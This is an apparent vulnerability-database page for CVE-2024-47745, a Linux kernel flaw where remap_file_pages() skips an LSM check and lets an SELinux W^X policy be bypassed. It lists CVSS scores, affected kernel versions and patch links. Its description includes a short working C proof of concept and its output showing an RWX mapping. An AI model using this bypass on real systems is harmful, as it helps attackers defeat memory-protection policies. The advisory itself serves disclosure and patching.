CVE-2024-47745

HIGH EPSS 20.0%
Published Oct 21, 20241y ago · Modified Jun 17, 20262w ago
7.8 CVSS 3.1
High
Find Similar
Published Oct 21, 2024 1y ago
Last Modified Jun 17, 2026 2w ago

Description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

CVSS Details

Base Score
7.8
Exploitability
1.8
Impact
5.9
Vector string
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Local
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High

Threat Intelligence

EPSS Exploit Probability
20.0% percentile
Exploit & Patch Status
No Known Exploit
Patch Available

Weaknesses 1

CWE-670

Affected Products 5

VendorProductVersionRange
debiandebian_linux11.0any
linuxlinux_kernel* <6.1.120
linuxlinux_kernel*≥6.2  –  <6.6.54
linuxlinux_kernel*≥6.7  –  <6.10.13
linuxlinux_kernel*≥6.11  –  <6.11.2

References 6

  • git.kernel.org https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
    Patch
  • lists.debian.org https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html
    Mailing ListThird Party Advisory

Remediation

  • git.kernel.org https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
    Patch
  • git.kernel.org https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
    Patch